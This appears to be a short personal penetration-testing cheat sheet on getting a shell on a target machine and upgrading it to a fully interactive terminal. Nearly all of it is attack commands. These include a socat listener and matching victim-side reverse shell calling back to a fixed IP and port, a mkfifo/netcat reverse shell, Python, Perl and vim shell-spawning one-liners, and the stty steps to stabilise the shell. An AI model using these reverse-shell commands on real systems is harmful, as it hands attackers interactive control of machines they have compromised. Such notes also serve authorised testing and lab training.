Only the following 2 can get you an interactive shell:
python3 -c 'import pty; pty.spawn("/bin/bash")'
- Socat (is in /usr/bin):
Listener:socat file:tty,raw,echo=0 tcp-listen:4444
Victim:socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444
The following help in getting shell, but will not be fully interactive.
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc IP PORT >/tmp/f
/bin/sh -i
(or bash)
perl -e 'exec "/bin/sh";'
:!bash
(from VIM)
https://book.hacktricks.xyz/generic-methodologies-and-resources/shells/full-ttys
Failed to upgrade interactive shell, and want to ssh tunnel? Read (TBD LINK TO SSH)
Actual way to get a fully stabilise shell:
- use python first:
python3 -c 'import pty; pty.spawn("/bin/bash")'
- enable term command:
export TERM=xterm
- Press Ctrl+Z, then in our own terminal use
stty raw -echo; fg
- After finish (
exit
a few times) using or if shell dies, you wont be able to do anything, to fix typereset
and press enter.